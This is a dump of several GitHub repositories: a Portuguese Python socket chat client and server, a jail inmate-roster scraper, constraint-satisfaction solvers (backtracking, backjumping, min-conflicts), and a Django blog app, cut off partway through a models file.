conexao.send(self.traduzirMensagem(3,0,idCliente,seqNo,timestamp,\"\"))\n \n def enviaOKnovoID(self, conexao, idCliente, seqNo, timestamp, novoID):\n conexao.send(self.traduzirMensagem(8,0,idCliente,seqNo,timestamp,str(novoID)))\n \n def traduzirMensagem(self,tipo, origem, destino, seqNo, timestamp, corpo):\n pacote = struct.pack('!HHHIIH', tipo, origem, destino, seqNo, timestamp, len(corpo))\n pacote += corpo\n return pacote\n \n def encontraIdDisponivel(self, original):\n # EMISSOR\n if (original < 1000):\n current = 1\n while (self.hasCliente(current) and current < 1000):\n current += 1\n return current\n #EXIBIDOR\n else:\n current = 1000\n while (self.hasCliente(current)):\n current += 1\n return current\n \n def fecharConexao(self):\n logging.info(\"Estou fechando a conexao. Auf Wiederhoren!\")\n self.passiveConnection.close()\n \n \n \nif __name__ == '__main__':\n Servidor()" }, { "alpha_fraction": 0.5478174090385437, "alphanum_fraction": 0.5591469407081604, "avg_line_length": 32.18888854980469, "blob_id": "29eb4722e6faddd296b4207e999973d86e7c503f", "content_id": "1838a73f5239a6ae3fa789f0dded5daae076769c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3001, "license_type": "no_license", "max_line_length": 97, "num_lines": 90, "path": "/Exibidor.py", "repo_name": "bernardomaia/vlwflw", "src_encoding": "UTF-8", "text": "import socket\nimport struct\nimport time\nimport logging\n\nimport sys\nimport atexit\nlogging.basicConfig(stream=sys.stderr, level=logging.INFO)\n\nHOST = '0.0.0.0'\nPORT = 9001\n\nclass Exibidor:\n ID = 0\n seqNo = 0\n conexao = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n conexao.connect((HOST, PORT))\n \n \n def __init__(self):\n atexit.register(self.fecharConexao)\n self.enviaOI()\n self.esperaOK()\n self.emFuncionamento()\n \n \n def enviaOI(self):\n logging.info(str(self.conexao.getsockname())+\": Mandei OI para o servidor.\")\n envia(self.conexao,traduzirMensagem(0,self.ID,0,self.seqNo,int(time.time()),\"\"))\n self.seqNo += 1\n \n def esperaOK(self):\n tipo,_,_,_,_,_,corpo = recebe(self.conexao)\n if (tipo == 3):\n logging.info(str(self.conexao.getsockname())+\": Recebi OK, ID continua %d\", self.ID)\n elif (tipo == 8):\n self.ID = int(corpo)\n logging.info(str(self.conexao.getsockname())+\": Recebi OK, ID novo %d\", self.ID)\n return\n \n def emFuncionamento(self):\n logging.info(\"EM FUNCIONAMENTO: EMISSOR %d\", self.ID)\n while 1:\n tipo,origem,_,_,_,_,corpo = recebe(self.conexao)\n \n #recebeu MSG\n if (tipo == 2):\n print \"Emissor \"+str(origem)+\" diz: \"+corpo\n \n #recebeu OKQEM \n elif (tipo == 6):\n print \"**** Clientes conectados no servidor ****\"\n clientes = corpo.split()\n clientes.sort()\n emissores = filter(lambda x: x < 1000, clientes)\n exibidores = filter(lambda x: x >= 1000, clientes)\n print \"Emissores: \", emissores\n print \"Exibidores: \", exibidores\n \n def fecharConexao(self):\n print \"fechando conexao\"\n envia(self.conexao,traduzirMensagem(1, self.ID, 0, self.seqNo, int(time.time()), \"\"))\n logging.info(\"Enviei FLW para o servidor.\")\n# tipo,_,_,seqNo2 = recebe(self.conexao)\n# while (tipo != 3 and seqNo2 != self.seqNo):\n# tipo,_,_,seqNo2 = recebe()\n# logging.info(\"Recebi OK. Estou fechando a conexao. Auf Wiederhoren!\")\n self.conexao.close()\n\n \n \ndef traduzirMensagem(tipo, origem, destino, seqNo, timestamp, corpo):\n pacote = struct.pack('!HHHIIH', tipo, origem, destino, seqNo, timestamp, len(corpo))\n pacote += corpo\n return pacote\n\ndef envia(conexao,data):\n conexao.send(data)\n\ndef recebe(conexao):\n resposta = conexao.recv(struct.calcsize('!HHHIIH'))\n if (len(resposta) > 0):\n tipo, origem, destino, seqNo, timestamp, tamanho = struct.unpack('!HHHIIH', resposta)\n corpo = \"\"\n if (tamanho > 0):\n corpo = conexao.recv(tamanho)\n return tipo, origem, destino, seqNo, timestamp, tamanho, corpo\n \nif __name__ == '__main__':\n Exibidor()\n \n \n" } ]
2
u-neek/jones_scrape
https://github.com/u-neek/jones_scrape
9b520d01d2543e9792a373f308f13802dd41bbd8
75c74e0e90e451e280857957c87eea354a67691a
7eb2d602d2f28c50c9eae66641301213316b3f60
refs/heads/master
2021-01-15T16:47:14.665924
2017-08-08T17:49:40
2017-08-08T17:49:40
99,721,128
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6760722398757935, "alphanum_fraction": 0.6772009134292603, "avg_line_length": 30.814815521240234, "blob_id": "217408f3c57cc17e7add474a9e48e652f86a5496", "content_id": "dd7643bd4b3e77d77205ed5e4d1f4378b942afc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 886, "license_type": "no_license", "max_line_length": 122, "num_lines": 27, "path": "/scrape.py", "repo_name": "u-neek/jones_scrape", "src_encoding": "UTF-8", "text": "#imoport libraries\r\nimport urllib.request\r\nfrom bs4 import BeautifulSoup\r\n\r\n\r\n#specify the url\r\nurl = \"http://jonesso.com/inmate-roster\"\r\n\r\n#query the site ans return html\r\npage = urllib.request.urlopen(url)\r\n\r\n#parse html\r\nsoup = BeautifulSoup(page, 'html.parser')\r\n\r\n# find div and return value\r\ninmate_roster = soup.find('div', attrs={'id': 'inmate_roster'})\r\n\r\ninmates = inmate_roster.find_all('div', attrs={'class': 'inmate'})\r\n\r\n\r\n\r\nfor inmates in inmate_roster.find_all('div', attrs={'class': 'inmate'}):\r\n inmate_name = inmates.find('div', attrs={'class': 'inmate-name'}).text\r\n inmate_book_id = inmates.find('div', attrs={'class': 'inmate-booking-id'}).text\r\n inmate_book_date = inmates.find('div', attrs={'class': 'inmate-booking-date'}).text\r\n\r\nprint (\"{} is in jail, his bookin number is {} and on this date {}\".format(inmate_name, inmate_book_id, inmate_book_date))\r\n" } ]
1
pranav-ap/constraint-satisfaction-problems
https://github.com/pranav-ap/constraint-satisfaction-problems
e0cae4462fced8a93119c6b95c4f709bed03aacc
e5d64e74f682b5eef2926c7a635b2930197403ae
6f6e7a14189e02e0a55befc591d7fb8d444c22a9
refs/heads/master
2020-04-01T04:07:12.402592
2019-04-07T12:28:14
2019-04-07T12:28:14
152,850,501
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6010470986366272, "avg_line_length": 21.738094329833984, "blob_id": "b97ad425a32c2d8525e77ad7469821cfad118a3e", "content_id": "9cb452097e0f2ad3be9f8587a23cccf51d531952", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 955, "license_type": "no_license", "max_line_length": 83, "num_lines": 42, "path": "/backtracking.py", "repo_name": "pranav-ap/constraint-satisfaction-problems", "src_encoding": "UTF-8", "text": "from core import SpeakersCSP\nfrom inference import inference, InferenceType\n\n\ndef backtracking(assignments, csp):\n if csp.is_complete(assignments):\n return assignments\n\n var = csp.select_unassigned_variable(assignments)\n\n for value in csp.order_domain_values(var):\n inferences = {}\n\n if csp.is_consistent(var, value):\n assignments[var] = value\n\n inferences = inference(var, value, assignments, csp, InferenceType.AC3)\n for key, val in inferences.items():\n assignments[key] = val\n\n res = backtracking(assignments, csp)\n if res:\n return res\n\n assignments.pop(var, None)\n for key, _ in inferences.items():\n assignments.pop(key, None)\n\n return False\n\n\ndef main():\n csp = SpeakersCSP()\n csp.make_node_consistent()\n\n print(backtracking({}, csp))\n\n csp.display_csp()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5515320301055908, "alphanum_fraction": 0.5561745762825012, "avg_line_length": 32.65625, "blob_id": "b146571738b65e6d854fcb24d3a6b8efd13d165e", "content_id": "dae0e6d8f446d3249b6220d00848d0187fa5197d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1077, "license_type": "no_license", "max_line_length": 93, "num_lines": 32, "path": "/core/speakers_csp.py", "repo_name": "pranav-ap/constraint-satisfaction-problems", "src_encoding": "UTF-8", "text": "from .csp import CSP\nimport networkx as nx\n\n\nclass SpeakersCSP(CSP):\n def __init__(self):\n CSP.__init__(self)\n self.graph = SpeakersCSP._generate_constraints_graph()\n\n def is_node_consistent(self, var, value):\n if var == 'dirac' and value == 1:\n return False\n return True\n\n def is_arc_consistent(self, x_value, y_domain):\n return any(x_value != y_value for y_value in y_domain)\n\n @staticmethod\n def _generate_constraints_graph():\n graph = nx.DiGraph(name='speakers-graph')\n\n node_names = ['euler', 'newton', 'dirac', 'fermi', 'laplace', 'einstein', 'lovelace']\n graph.add_nodes_from([(name, {'domain': [1, 2, 3, 4]}) for name in node_names])\n\n edges = [('euler', 'newton'), ('euler', 'dirac'), ('euler', 'laplace'),\n ('euler', 'einstein'), ('newton', 'fermi'), ('dirac', 'einstein'),\n ('fermi', 'laplace'), ('fermi', 'einstein'),\n ('laplace', 'lovelace'), ('laplace', 'einstein')]\n\n graph.add_edges_from(edges)\n\n return graph\n" }, { "alpha_fraction": 0.5815602540969849, "alphanum_fraction": 0.588652491569519, "avg_line_length": 16.625, "blob_id": "9229cb661cd73b79d536d81d7f8e24a271ba2a57", "content_id": "20871bcf257eeff68a610aeafa199784e2fd6413", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 141, "license_type": "no_license", "max_line_length": 49, "num_lines": 8, "path": "/core/boards.py", "repo_name": "pranav-ap/constraint-satisfaction-problems", "src_encoding": "UTF-8", "text": "import numpy as np\n\n\ndef generate_board(n):\n board = np.full((n, n), False, dtype=np.bool)\n board[0, :] = [True] * n\n\n return board\n" }, { "alpha_fraction": 0.6173499822616577, "alphanum_fraction": 0.6173499822616577, "avg_line_length": 28.526315689086914, "blob_id": "784887b168ab3fb5d0f7e49776928e2873ecc702", "content_id": "b0faea9f991bdb14e1781db0ede98ca0d727d532", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1683, "license_type": "no_license", "max_line_length": 92, "num_lines": 57, "path": "/backjumping.py", "repo_name": "pranav-ap/constraint-satisfaction-problems", "src_encoding": "UTF-8", "text": "from inference import inference, InferenceType\nfrom core import SpeakersCSP\nfrom collections import OrderedDict\n\n\ndef backjumping(assignments, conflict_sets, csp):\n if csp.is_complete(assignments):\n return assignments\n\n var = csp.select_unassigned_variable(assignments)\n\n if var is not None and len(assignments.keys()):\n # creating conflict set of var\n if len(assignments.keys()):\n last_var = next(reversed(assignments))\n conflict_sets[var].append(last_var)\n conflict_sets[var].append(conflict_sets[last_var])\n # update conflict set after failure\n else:\n last_var = next(reversed(assignments))\n conflict_sets[last_var].append(conflict_sets[var])\n conflict_sets[last_var].remove(last_var)\n var = last_var\n\n for value in csp.order_domain_values(var):\n inferences = {}\n\n if csp.is_consistent(var, value):\n assignments[var] = value\n\n inferences = inference(var, value, assignments, csp, InferenceType.PropagateOne)\n for key, val in inferences.items():\n assignments[key] = val\n\n res = backjumping(assignments, conflict_sets, csp)\n if res:\n return res\n\n assignments.pop(var, None)\n for key, _ in inferences.items():\n assignments.pop(key, None)\n\n return False\n\n\ndef main():\n csp = SpeakersCSP()\n conflict_sets = {var: [] for var in csp.graph.nodes()}\n assignments = OrderedDict()\n\n csp.make_node_consistent()\n print(backjumping(assignments, conflict_sets, csp))\n csp.display_csp()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6115087270736694, "alphanum_fraction": 0.6175207495689392, "avg_line_length": 24.683822631835938, "blob_id": "edd296005c94f23a0b2a5bbdda906c50f13bcc47", "content_id": "0d34a8dd44ae44b80c746ced5f60691d7105e344", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3493, "license_type": "no_license", "max_line_length": 101, "num_lines": 136, "path": "/min_conflicts.py", "repo_name": "pranav-ap/constraint-satisfaction-problems", "src_encoding": "UTF-8", "text": "from core import generate_board\nimport numpy as np\nimport random\n\n\ndef get_queen_locations(board):\n queen_locations = {}\n queen_id = 0\n\n for row_index, row in enumerate(board):\n for col_index, queen in enumerate(row):\n if queen:\n queen_locations[queen_id] = (row_index, col_index)\n queen_id += 1\n\n return queen_locations\n\n\ndef get_free_locations(board):\n return np.argwhere(board == False)\n\n\ndef display_board(board):\n print(np.matrix(board))\n\n\ndef get_row_conflict_count(board):\n count = 0\n for row in board:\n row_count = sum([1 for value in row if value])\n if row_count > 1:\n count += row_count\n\n return count\n\n\ndef get_col_conflict_count(board):\n count = 0\n for row in board.transpose():\n col_count = sum([1 for value in row if value])\n if col_count > 1:\n count += col_count\n\n return count\n\n\ndef get_primary_diagonal_conflict_count(board):\n count = 0\n for i in range(board.shape[1]):\n diagonal_count = sum([1 for value in board.diagonal(offset=i) if value])\n if diagonal_count > 1:\n count += diagonal_count\n\n return count\n\n\ndef get_secondary_diagonal_conflict_count(board):\n count = 0\n for i in range(board.shape[1]):\n diagonal_count = sum([1 for value in np.fliplr(board).diagonal(offset=i) if value])\n if diagonal_count > 1:\n count += diagonal_count\n\n return count\n\n\ndef get_conflict_count(var, value, assignments, board):\n # get old and new locations for var\n old_value = assignments[var]\n row_index, col_index = old_value\n new_row_index, new_col_index = value\n\n # use new locations\n board[row_index][col_index] = False\n board[new_row_index][new_col_index] = True\n\n count = 0\n count += (get_row_conflict_count(board)\n + get_col_conflict_count(board)\n + get_primary_diagonal_conflict_count(board)\n + get_secondary_diagonal_conflict_count(board))\n\n # reset the old values\n board[row_index][col_index] = True\n board[new_row_index][new_col_index] = False\n\n return count\n\n\ndef get_conflicted_variable(assignments, board):\n vars_and_values = list(assignments.items())\n random.shuffle(vars_and_values)\n\n for var, value in vars_and_values:\n count = (get_row_conflict_count(board)\n + get_col_conflict_count(board)\n + get_primary_diagonal_conflict_count(board)\n + get_secondary_diagonal_conflict_count(board))\n if count:\n return var\n return None\n\n\ndef min_conflicts(max_steps, board):\n assignments = get_queen_locations(board)\n\n for step in range(max_steps):\n print('{} step'.format(step))\n\n var = get_conflicted_variable(assignments, board)\n if var is None:\n print('Found a solution')\n return assignments\n\n free_locations = get_free_locations(board)\n value = min(free_locations, key=lambda val: get_conflict_count(var, val, assignments, board))\n\n old_row_index, old_col_index = assignments[var]\n board[old_row_index][old_col_index] = False\n\n assignments[var] = value\n row_index, col_index = value\n board[row_index][col_index] = True\n\n return assignments\n\n\ndef main():\n board = generate_board(3)\n assignments = min_conflicts(100, board)\n print(assignments)\n display_board(board)\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.835616409778595, "alphanum_fraction": 0.835616409778595, "avg_line_length": 35.5, "blob_id": "6791b6ae99c90e9627862fb1a839b815126afbfd", "content_id": "2806663b07a258d96c6b67132ed66f49c3436412", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 73, "license_type": "no_license", "max_line_length": 37, "num_lines": 2, "path": "/core/__init__.py", "repo_name": "pranav-ap/constraint-satisfaction-problems", "src_encoding": "UTF-8", "text": "from .speakers_csp import SpeakersCSP\nfrom .boards import generate_board\n" }, { "alpha_fraction": 0.639643669128418, "alphanum_fraction": 0.6440979838371277, "avg_line_length": 32.50746154785156, "blob_id": "262ada8b611aaa3f4c715827cb395b6d0170da9f", "content_id": "185b87497854e6e612a0e06e334a2f1a2916027e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2245, "license_type": "no_license", "max_line_length": 118, "num_lines": 67, "path": "/inference.py", "repo_name": "pranav-ap/constraint-satisfaction-problems", "src_encoding": "UTF-8", "text": "from copy import deepcopy\nfrom enum import Enum\n\n\nclass InferenceType(Enum):\n ForwardChecking = 0\n AC3 = 1\n PropagateOne = 2\n PropagateAny = 3\n\n\ndef inference(var, value, assignments, csp, inference_type=InferenceType.AC3):\n if inference_type == InferenceType.AC3:\n csp.make_arc_consistent()\n elif inference_type == InferenceType.ForwardChecking:\n forward_checking(var, value, assignments, csp)\n elif inference_type == InferenceType.PropagateOne:\n propagate_one(var, value, assignments, csp)\n elif inference_type == InferenceType.PropagateAny:\n propagate_any(var, value, assignments, csp)\n\n inferences = {}\n for var, data in csp.graph.nodes(data=True):\n domain = data['domain']\n if len(domain) == 1:\n inferences[var] = domain[0]\n\n return inferences\n\n\ndef forward_checking(var, value, assignments, csp):\n neighbors = list(csp.graph.predecessors(var)) + list(csp.graph.successors(var))\n neighbors_to_update = [n for n in neighbors\n if n not in assignments.keys()]\n\n for n in neighbors_to_update:\n try:\n csp.graph.nodes[n]['domain'].remove(value)\n except ValueError:\n pass\n\n\ndef propagate_one(var, value, assignments, csp):\n forward_checking(var, value, assignments, csp)\n\n neighbors = list(csp.graph.predecessors(var)) + list(csp.graph.successors(var))\n neighbors_to_propagate = [n for n in neighbors\n if n not in assignments.keys() and len(csp.graph.nodes[n]['domain']) == 1]\n\n for n in neighbors_to_propagate:\n propagate_one(n, value, deepcopy(assignments), csp)\n\n\ndef propagate_any(var, value, assignments, csp):\n neighbors = list(csp.graph.predecessors(var)) + list(csp.graph.successors(var))\n\n domain_length = {}\n for n in neighbors:\n domain_length[n] = len(csp.graph.nodes[n]['domain'])\n\n forward_checking(var, value, assignments, csp)\n\n neighbors_to_propagate = [n for n in neighbors\n if n not in assignments.keys() and len(csp.graph.nodes[n]['domain']) < domain_length[n]]\n\n for n in neighbors_to_propagate:\n propagate_one(n, value, deepcopy(assignments), csp)\n" }, { "alpha_fraction": 0.5833333134651184, "alphanum_fraction": 0.5839869379997253, "avg_line_length": 30.224489212036133, "blob_id": "27e2ace826290afc24db248743bdd45ff1c11a41", "content_id": "4c38fc4719d63c29f6e0f85f857980f58f6af1e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3060, "license_type": "no_license", "max_line_length": 108, "num_lines": 98, "path": "/core/csp.py", "repo_name": "pranav-ap/constraint-satisfaction-problems", "src_encoding": "UTF-8", "text": "import networkx as nx\n\n\nclass CSP:\n def __init__(self):\n self.graph = nx.DiGraph(name='graph')\n\n def is_node_consistent(self, var, value):\n raise NotImplementedError\n\n def is_arc_consistent(self, x_value, y_domain):\n raise NotImplementedError\n\n def make_node_consistent(self):\n for var, data in self.graph.nodes(data=True):\n data['domain'] = [value for value in data['domain'] if self.is_node_consistent(var, value)]\n if CSP._is_failure(data['domain']):\n return False\n return True\n\n def make_arc_consistent(self):\n arcs = self._get_all_arcs()\n\n while arcs:\n arc = arcs.pop()\n x_var, _ = arc\n # make x consistent with y\n if self._revise(arc):\n if CSP._is_failure(self.graph.nodes[x_var]['domain']):\n return False\n\n arcs.extend(self._get_all_arcs_at(x_var)).remove(arc)\n\n return True\n\n def _revise(self, arc):\n x_var, y_var = arc\n x_domain = self.graph.nodes[x_var]['domain']\n y_domain = self.graph.nodes[y_var]['domain']\n\n consistent_x_domain = [x_value for x_value in x_domain if self.is_arc_consistent(x_value, y_domain)]\n self.graph.nodes[x_var]['domain'] = consistent_x_domain\n\n return len(consistent_x_domain) < len(x_domain)\n\n @staticmethod\n def _is_failure(domain):\n return not domain\n\n def is_complete(self, assignment):\n keys = list(assignment.keys())\n nodes = self.graph.nodes()\n\n return len(keys) == len(nodes)\n\n def display_csp(self):\n for x in self.graph.nodes(data=True):\n print(x)\n\n def order_domain_values(self, var):\n domain = self.graph.nodes[var]['domain']\n # todo: perform value ordering\n return domain\n\n def select_unassigned_variable(self, assignments):\n variables = [var for var in self.graph.nodes() if var not in assignments.keys()]\n\n if not variables:\n return None\n\n # Minimum remaining values\n return min(variables, key=lambda var: len(self.graph.nodes[var]['domain']))\n\n def is_consistent(self, var, value):\n # test node consistency\n if not self.is_node_consistent(var, value):\n return False\n\n # test arc consistency\n neighbors = list(self.graph.predecessors(var)) + list(self.graph.successors(var))\n for neighbor in neighbors:\n neighbor_domain = self.graph.nodes[neighbor]['domain']\n if not self.is_arc_consistent(value, neighbor_domain):\n return False\n\n return True\n\n def _get_all_arcs(self):\n in_edges = self.graph.in_edges()\n out_edges = self.graph.out_edges()\n arcs = list(in_edges) + [e[::-1] for e in out_edges]\n return arcs\n\n def _get_all_arcs_at(self, x_var):\n arcs = []\n arcs.extend([e for e in self.graph.in_edges(x_var)])\n arcs.extend([e[::-1] for e in self.graph.out_edges(x_var)])\n return arcs\n" } ]
8
aths2041/myproject
https://github.com/aths2041/myproject
09896bca91d6f97acbf947eaf3eb71a8d044f905
70f8010fb145fc976a13ab40ed2079b3dff45c8d
ace40d6db805470fa237dbe38e98988e49634f30
refs/heads/main
2023-08-10T20:10:38.391209
2021-10-13T11:18:03
2021-10-13T11:18:03
416,694,495
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7213114500045776, "alphanum_fraction": 0.7213114500045776, "avg_line_length": 26.727272033691406, "blob_id": "4ffdb47b8cdcc336e600ee7eeeb3cee7d364d278", "content_id": "4afae5742d491df1f3644d2d9187ca63c4566087", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 305, "license_type": "no_license", "max_line_length": 84, "num_lines": 11, "path": "/blog/admin.py", "repo_name": "aths2041/myproject", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Post, Contact\n\n# Register your models here.\n# @admin.register(Post)\n# class PostModelAdmin(admin.ModelAdmin):\n# list_display = ['id', 'title', 'desc', 'title_tag', 'post_date', 'post_image']\n\n\nadmin.site.register(Post)\nadmin.site.register(Contact)\n" }, { "alpha_fraction": 0.5076530575752258, "alphanum_fraction": 0.5867347121238708, "avg_line_length": 20.77777862548828, "blob_id": "2568a4f819965cbdecd2cdde6deece017dd7faf6", "content_id": "3a768b54ed96428bf5b4a9c32c8087247ffa554f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 392, "license_type": "no_license", "max_line_length": 58, "num_lines": 18, "path": "/blog/migrations/0004_alter_post_post_date.py", "repo_name": "aths2041/myproject", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.4 on 2021-07-13 07:43\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0003_auto_20210713_1047'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='post',\n name='post_date',\n field=models.DateTimeField(auto_now_add=True),\n ),\n ]\n" }, { "alpha_fraction": 0.603960394859314, "alphanum_fraction": 0.6049917340278625, "avg_line_length": 33.112674713134766, "blob_id": "45824b637992210e19276f71b5fd342373b5da1f", "content_id": "80b1601b3c1be85e55c248124d4bb2632e81dfd4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4848, "license_type": "no_license", "max_line_length": 107, "num_lines": 142, "path": "/blog/views.py", "repo_name": "aths2041/myproject", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, HttpResponseRedirect\nfrom .forms import SignUpForm, LoginForm, PostForm\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom .models import Post, Contact\nfrom django.contrib.auth.models import Group\n\n\n# home\ndef home(request):\n posts = Post.objects.all()\n return render(request, 'blog/home.html', {'posts':posts})\n \n\n# All Post Contents\ndef allposts(request, slug=None):\n posts = Post.objects.all()\n return render(request, 'blog/allposts.html', {'posts':posts})\n\n# About\ndef about(request):\n return render(request, 'blog/about.html')\n\n# Contact\ndef contact(request):\n if request.method == 'POST':\n \n name = request.POST['name']\n email = request.POST['email']\n phone = request.POST['phone']\n message = request.POST['message']\n\n if len(name)<3 or len(email)<3 or len(phone)<10 or len(message)<5:\n messages.error(request, \"Please fill correct data\")\n else:\n contact = Contact(name=name, email=email, phone=phone, message=message)\n contact.save()\n messages.success(request, \"Your message has been sucessfully sent\")\n return render(request, 'blog/contact.html')\n \n\n# Dashboard\ndef dashboard(request):\n if request.user.is_authenticated:\n posts = Post.objects.all()\n user = request.user\n full_name = user.get_full_name()\n gps = user.groups.all()\n return render(request, 'blog/dashboard.html', {'posts':posts, 'full_name':full_name, 'groups':gps})\n else:\n return HttpResponseRedirect('/login/')\n\n return render(request, 'blog/dashboard.html')\n\n# Logout\ndef user_logout(request):\n logout(request)\n return HttpResponseRedirect('/')\n\n# Signup\ndef user_signup(request):\n if request.method ==\"POST\":\n form = SignUpForm(request.POST)\n if form.is_valid():\n messages.success(request, 'Congratulations!!! Now you are a Writer Login to continue.')\n user = form.save()\n group = Group.objects.get(name='Writer')\n return HttpResponseRedirect('/login/')\n else:\n form = SignUpForm()\n return render(request, 'blog/signup.html',{'form':form})\n\n# Login\ndef user_login(request):\n if not request.user.is_authenticated:\n if request.method == \"POST\":\n form = LoginForm(request=request, data=request.POST)\n if form.is_valid():\n uname = form.cleaned_data['username']\n upass = form.cleaned_data['password']\n user = authenticate(username=uname, password=upass)\n if user is not None:\n login(request, user)\n messages.success(request, 'Logged in sucessfully!!!')\n return HttpResponseRedirect('/dashboard/')\n else:\n form = LoginForm()\n return render(request, 'blog/login.html', {'form':form})\n else:\n return HttpResponseRedirect('/dashboard/')\n\n# Add New Post\ndef add_post(request):\n if request.user.is_authenticated:\n if request.method == 'POST':\n form = PostForm(request.POST, request.FILES)\n if form.is_valid():\n title = form.cleaned_data['title']\n desc = form.cleaned_data['desc']\n author = form.cleaned_data['author']\n title_tag = form.cleaned_data['title_tag']\n post_image = form.cleaned_data['post_image']\n pst = Post(title=title, desc=desc, title_tag=title_tag, post_image=post_image)\n pst.save()\n form = PostForm()\n else:\n form = PostForm()\n return render(request, 'blog/addpost.html', {'form':form})\n else:\n return HttpResponseRedirect('/login/')\n\n# Update/Edit Post\ndef update_post(request, id):\n if request.user.is_authenticated:\n if request.method == 'POST':\n pi = Post.objects.get(pk=id)\n form = PostForm(request.POST, instance=pi)\n if form.is_valid():\n form.save()\n else:\n pi = Post.objects.get(pk=id)\n form = PostForm(instance=pi)\n return render(request, 'blog/updatepost.html', {'form':form})\n else:\n return HttpResponseRedirect('/login/')\n\n# Delete Post\ndef delete_post(request, id):\n if request.user.is_authenticated:\n if request.method == 'POST':\n pi = Post.objects.get(pk=id)\n pi.delete()\n return HttpResponseRedirect('/dashboard/')\n else:\n return HttpResponseRedirect('/login/')\n\n# Mobiles\ndef mobile(request, slug):\n post = Post.objects.filter(slug=slug).first()\n post.save()\n context = {'post': post, 'user': request.user}\n return render(request, 'blog/mobile.html', context)\n " }, { "alpha_fraction": 0.5653166174888611, "alphanum_fraction": 0.5710210800170898, "avg_line_length": 37.977779388427734, "blob_id": "ea76ad8033fb259a4ab35cc967e642dddf39088c", "content_id": "3cd61741736616b4ac4c5d4ecb5171c8f481445a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1753, "license_type": "no_license", "max_line_length": 128, "num_lines": 45, "path": "/blog/templates/blog/contact.html", "repo_name": "aths2041/myproject", "src_encoding": "UTF-8", "text": "{% extends 'blog/base.html' %} {% load static %}\n{% block contactactive %} active {% endblock contactactive %}\n\n\n{% block msg %} {% if messages %} {% for message in messages %}\n<div {% if message.tags %} class=\"alert alert-{{message.tags}} mb-5 alert-dismissible fade show\" {% endif %}>\n <strong>{{message}}</strong>\n <button type=\"button\" class=\"btn-close\" data-bs-dismiss=\"alert\" aria-label=\"Close\">\n <span aria-hidden=\"true\">&times;</span>\n </button>\n</div>\n{% endfor %} {% endif %} {% endblock msg %}\n\n\n{% block content %}\n\n<div class=\"col-sm-10\">\n <h3 class=\"text-white mt-5\">Contact Page</h3>\n <form class=\"form-row container\" method=\"post\" action=\"/contact/\">\n {% csrf_token %}\n <div>\n <div class=\"form-group col-md-6\">\n <label for=\"name\">Name</label>\n <input type=\"text\" id=\"name\" name=\"name\" class=\"form-control\" placeholder=\"type your name here\">\n </div>\n <div class=\"form-group col-md-6\">\n <label for=\"email\">Email</label>\n <input type=\"email\" id=\"email\" name=\"email\" class=\"form-control\" placeholder=\"[email protected]\">\n </div>\n\n <div class=\"mb-3\">\n <label for=\"phone\" class=\"form-label\">Phone Number (with country code):</label>\n <input type=\"phone\" class=\"form-control\" name=\"phone\" id=\"phone\" name=\"phone\">\n </div>\n <div class=\"form-group\">\n <label for=\"message\">Message</label>\n <textarea id=\"message\" rows=\"3\" class=\"form-control\" name=\"message\" placeholder=\"type your comment here\"></textarea>\n </div>\n <button type=\"submit\" class=\"btn btn-primary\">Send</button>\n </div>\n </form>\n</div>\n\n\n{% endblock content %}" }, { "alpha_fraction": 0.5277777910232544, "alphanum_fraction": 0.5833333134651184, "avg_line_length": 21, "blob_id": "17faa9f9e980ac64eadeabfde0b21811a4d6d4b7", "content_id": "190a5dc1d9188d2a5a9649f1aa5935e56ae68e86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 396, "license_type": "no_license", "max_line_length": 74, "num_lines": 18, "path": "/blog/migrations/0008_alter_post_slug.py", "repo_name": "aths2041/myproject", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.4 on 2021-07-16 06:41\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0007_post_author'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='post',\n name='slug',\n field=models.CharField(blank=True, max_length=130, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6962384581565857, "alphanum_fraction": 0.7097232341766357, "avg_line_length": 34.20000076293945, "blob_id": "a0280decf71729ed083282e2144446c9399ae413", "content_id": "a38260cef98a2420c3c958bd0f52bb717854ca34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1409, "license_type": "no_license", "max_line_length": 78, "num_lines": 40, "path": "/blog/models.py", "repo_name": "aths2041/myproject", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.db.models.signals import pre_save\nfrom myblog.utils import unique_slug_generator\nfrom ckeditor.fields import RichTextField\n\n# Create your models here.\nclass 